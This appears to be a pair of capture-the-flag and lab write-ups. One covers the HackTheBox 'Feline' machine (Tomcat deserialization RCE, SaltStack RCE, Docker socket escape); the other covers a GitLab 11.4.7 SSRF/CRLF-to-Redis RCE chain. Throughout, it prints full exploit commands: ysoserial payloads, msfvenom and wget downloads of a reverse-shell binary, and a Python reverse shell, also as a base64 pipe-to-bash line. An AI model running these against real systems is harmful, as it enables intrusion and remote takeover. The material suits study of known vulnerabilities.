HackTheBox - Feline Writeup

 System Summary


Initial Enumeration

Nmap scan reveals only port 8080 open where a Tomcat version 9.0.27


The webpage http://10.10.10.205 doesn't lead to anything,

However, looking at the webpage source (or using a scanning tool like dirbuster) we can find the section

http://10.10.10.205/service.


This gives us the opportunity to upload files.

Let's try to upload something while intercepting the request with Burp: below an example of an upload of file named "word"

The response by Tomcat is not very useful: it just says "Upload Successful" or "Unsuccessful": we eould like to know where the uploaded files are stored.

This because there's an interesting RCE vulnerability CVE-2020-9484 (Here a great article that explains both vulnerability and exploiting process). One of the prerequisites is to know.

Let's try to tamper with the request with Burp repeater.
After some retries we can find that omitting the filename in the requests, the Java backend goes in error disclosing the path where files get stored (/opt/samples/uploads)





 

Initial Foothold

Now that we have the path we can follow the exploiting process: as first step let's see if we can do a POC just using ping back to our machine.

First we have to prepare a payload with ysoserial using the CommonCollections2 gadget and storing it in the file ping.session

java -jar ysoserial-master-138dc36bd2-1.jar  CommonsCollections2  'ping -c 5 10.10.16.78' > ping.session


Next we have to upload the file ping.session with this command:


 curl -v  --connect-timeout 3.37 "http://10.10.10.205:8080/upload.jsp?email=a" -H "Cookie: JSESSIONID=../../../opt/samples/uploads/anything" -F 'image=@ping.session'

If everything is OK a file named ping will be stored in /opt/samples/uploads

Then trigger the deserialization call

 curl -v  --connect-timeout 3.37 "http://10.10.10.205:8080/upload.jsp?email=a" -H "Cookie: JSESSIONID=../../../opt/samples/uploads/ping"

And the result is :



OK! The RCE works.

Next we can try to execute netcat shell or similar payloads: unfortunately ysoserial payloads don't work as expected.

As explained in some articles, java doesn't like payloads containing pipes, redirection or more shell commands separated by ;

Therefore we have to use single and simple commands.

Let's follow this 

  • Build a reverse tcp shell executable with msfvenom
  • Publish it on our computer 
  • Create a payload with ysoserial that download its to /tmp/payload (wget)
  • Create a payload with ysoserial that makes /tmp/payload executable (chmod)
  • Create a payload with ysoserial that executes  /tmp/payload  
  • Open a netcat listener
  • Execute the exploit process to above three payloads in sequence

First we build the executable payload

msfvenom -p linux/x86/shell_reverse_tcp LPORT=4445 LHOST=10.10.16.78 -f elf > /var/www/html/payload

Then we create three payloads with ysoserial:

wget

java -jar ysoserial-master-138dc36bd2-1.jar CommonsCollections2 'wget http://10.10.16.78:4444/payload -O /tmp/payload' > wget.session

chmod

java -jar ysoserial-master-138dc36bd2-1.jar CommonsCollections2 'chmod +x /tmp/payload' > chmod.session 

execute the downloaded payload


Then trigger the vulnerability three times to execute the three commands:

Upload wget file

curl -v  --connect-timeout 3.37 "http://10.10.10.205:8080/upload.jsp?email=a" -H "Cookie: JSESSIONID=../../../opt/samples/uploads/wget" -F 'image=@wget.session'

Execute wget 

curl -v  --connect-timeout 3.37 "http://10.10.10.205:8080/upload.jsp?email=a" -H "Cookie: JSESSIONID=../../../opt/samples/uploads/wget"


Upload chmod file

curl -v  --connect-timeout 3.37 "http://10.10.10.205:8080/upload.jsp?email=a" -H "Cookie: JSESSIONID=../../../opt/samples/uploads/chmod" -F 'image=@chmod.session'

Execute chmod

curl -v  --connect-timeout 3.37 "http://10.10.10.205:8080/upload.jsp?email=a" -H "Cookie: JSESSIONID=../../../opt/samples/uploads/chmod"

Upload execute file

curl -v  --co curl -v  --connect-timeout 3.37 "http://10.10.10.205:8080/upload.jsp?email=a" -H "Cookie: JSESSIONID=../../../opt/samples/uploads/exec" -F 'image=@exec.session'

Exec exute file

curl -v  --co curl -v  --connect-timeout 3.37 "http://10.10.10.205:8080/upload.jsp?email=a" -H "Cookie: JSESSIONID=../../../opt/samples/uploads/exec"

The result is: 


We get a shell as tomcat user and the user flag for free, also.

Further Escalation

With the usual enumeration we can't find anything interesting to escalate to root.

However we can find we're in a container and there are some services that are listening locally:


The two port 4505 and 4506 looks very interesting: they're used by Salt Stack and we might try a well known RCE CVE-2020-11651

But how can we reach this port? This is listening on localhost. 

One way is to compile and upload the exeploit. 

The easier way chisel, a tunneling program that works in a similar way as ssh tunnel but without the need to create accounts and logins.

We just have to download chisel on both attacking machine and container instance.

Then start a chisel listener session on our attacking machine:

chisel server -p 8000 --reverse

Then start the other end of tunnel in the docker container with the client part.

./chisel client 10.10.16.78:8000 R:4506:127.0.0.1:4506

The option R:4506:127.0.0.1:4506 is similar to SSH tunnel syntax: the traffic coming through the tunnel is to be sent to 127.0.0.1:4506. 

We can now direct our exploit to our 127.0.0.1:8000 and it will be sent to Saltstack service running in the docker container.

Luckily there's a great module in Metasploit named saltstack_unath_rce

We can use it to get a root shell in the container 



Root Escalation

Unfortunately the root folder doesn't have the root flag: we have to evade from the container and access the hosts.

The interesting thing here is that the container exposes the docker socket file /var/run/docker.sock
This is a bad idea because it's a channel that we can use to control other containers.

Since the container itself doesn't have the docker executable, let's download the docker executable from an ubuntu/kali system (our machine, for example) 

Then we can run docker commands inside the container and manage dockers running on the host.
As an example we can show which containers are running (our own) identifying its ID and image


Once we have the image ID we can run another container of the same image, mapping the / filesystem of host inside a folder (/mnt) and execute a chroot inside /mnt, adding the interactive mode with -ti

./docker container run --rm -it --privileged --net=host --pid=host --volume /:/mnt 188a2704d8b0 chroot /mnt

With this result:

We have a shell in the / of the host itself.

We can then get the root flag.

Learning about Web Vulnerabilities - The case of Gitlab 11.4.7 RCE

Foreword

While trying to own a HackTheBox machine I encountered a Gitlab service version 11.4.7: it's a pretty old version that has some vulnerabilities and a public RCE exploit that's two years old.

So nothing new here, however, with the spirit of learning a new thing instead of just running someone else code, I tried to understand and exploit the vulnerabilities manually with the help of other writeups/video, like the video and article by Liveoverfow.

The vulnerabilities

In November 2018 two vulnerabilities were fixed in Gitlab version 11.4.8 (https://gitlab.com/gitlab-org/gitlab-foss/-/commits/v11.4.8).

Looking at the patch content we can see two interesting ones:

  • CVE-2018-19571: an SSRF vulnerability in project integration (commit ecbdef09)
  • CVE-2018-19585: a CRLF Injection in UrlValidator (commit 70f35e4f)


We can use a docker image or install manually. 

For simplicity I used the gitlab community edition docker image: it comes with a default Redis instance listening on port tcp/6379 (this will be important as a step towards the exploitation)


SSRF Vulnerability

SSRF means Server-Side Request Forgery and basically means that a software with such a vulnerability gives the attacker a way to reach other systems by putting a forged URL somewhere in the application.

This is usually not critical but it can be chained with other vulnerabilities to have a bigger impact.

So it's typical to see some kind of URL validation in the applications that blocks connections to localhost looking for services not publicly available (i.e. database backends and similar) 

Looking at the fix in version gitlab v11.4.8 it is clear that version 11.4.7 validates and blocks connection to http://127.0.0.1 but it doesn't check connection using IPv6 address http://[0:0:0:0:0:ffff:127.0.0.1]


There is also a feature of Gitlab that can be used to open URL: a new project can be created by importing an existing project supplying its repo URL. 

This feature performs a GET request to an URL that an authenticated users can control.


The interesting thing to do here is to check if the SSRF via IPv6 works.
First step is to open a netcat listener on localhost (if gitlab was installed inside docker, netcast should be executed inside the docker container).


Then try using an IPv4 with the URL http://127.0.0.1:4444/test/repo.git


The IPv4 URL is blocked by the



SSRF is working: Netcat shows an HTTP GET request:


Now, what local services can be contacted with this SSRF?

Well, Gitlab standard installation uses a default Redis instance running on localhost interface and port tcp/6379.

Redis is a popular key-pair database system that is known to the security community because its default installation is quite unsecure and it can be abused to get Remote Code Execution.

Before digging into further exploitation, it's useful to connect to Redis with netcat and paste the previous HTTP request done by the SSRF request:



Unfortunately Redis drops the connection after receiving the line beginning with "Host:"

Redis team, knowing that SSRF can be used to wreck havoc, inserted a check that drops the connection whenever a line "Host:" is detected
We have to get past this check and send additional commands to Redis in some ways and the CRLF injection comes to help.

CRLF Injection Vulnerability

CRLF stands for "Carriage-return Line-feed": in this kind of vulnerability, the sequence of CRLF characters can be used to split a forged input in more lines and potentially used to inject unexpected content.

A CRLF vulnerability, like SSRF, is not critical per-se, but in this case it can be used to split into multiple lines the forged URL request proveded in the SSRF before the line beginning with "Host:" 

Due to missing input validation, we can use CRLF to split the "GET " line of the SSRF into more lines that Redis will accept as single commands before reaching the "Host:" line

To trigger the CRLF we have to use Burp to change the standard request of SSRF.

This is the request of SSRF done in the browser

Below the Burp intercepted requested that can be sent to the Burp Repeater module

In the repeater module we can change the SSRF request inside the red box into more lines.
In case there is already a project with the same name (i.e. repeated request) we have to change the project name



Unfortunately it doesn't work, but the import feature also support git://  URLs:

In this case it works and we see that the SSRF request is split into more lines


We can copy and paste into Redis to see the effect:


Now that we are able to send commands to Redis via the SSRF+CRLF we have to find a way to execute code in Redis

Luckily, Jobert from HackerOne found a command sequence in Redis that uses Sidekiq to execute a job in gitlab (https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41293)

We only have to use the sequence 

 multi

 sadd resque:gitlab:queues system_hook_push
 
 lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|our_command \').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
 
 exec
Please note that all lines must start with a space character:


The above request executes the command "touch /tmp/a"  with the following result:

So it's possible to execute remote commands
The final step is to craft a payload for reverse shell.
Due to possible encoding issues we can use the classic python reverse shell (python3 should be included in the gitlab docker image) in an encoded version.

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.78",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

This is to be encoded in base64 and then the command to be execute by gitlab should be:

echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE2Ljc4Iiw0NDQ0KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigiL2Jpbi9iYXNoIiknCg== | base64 -d | bash



And we should get our reverse shell on port 4444: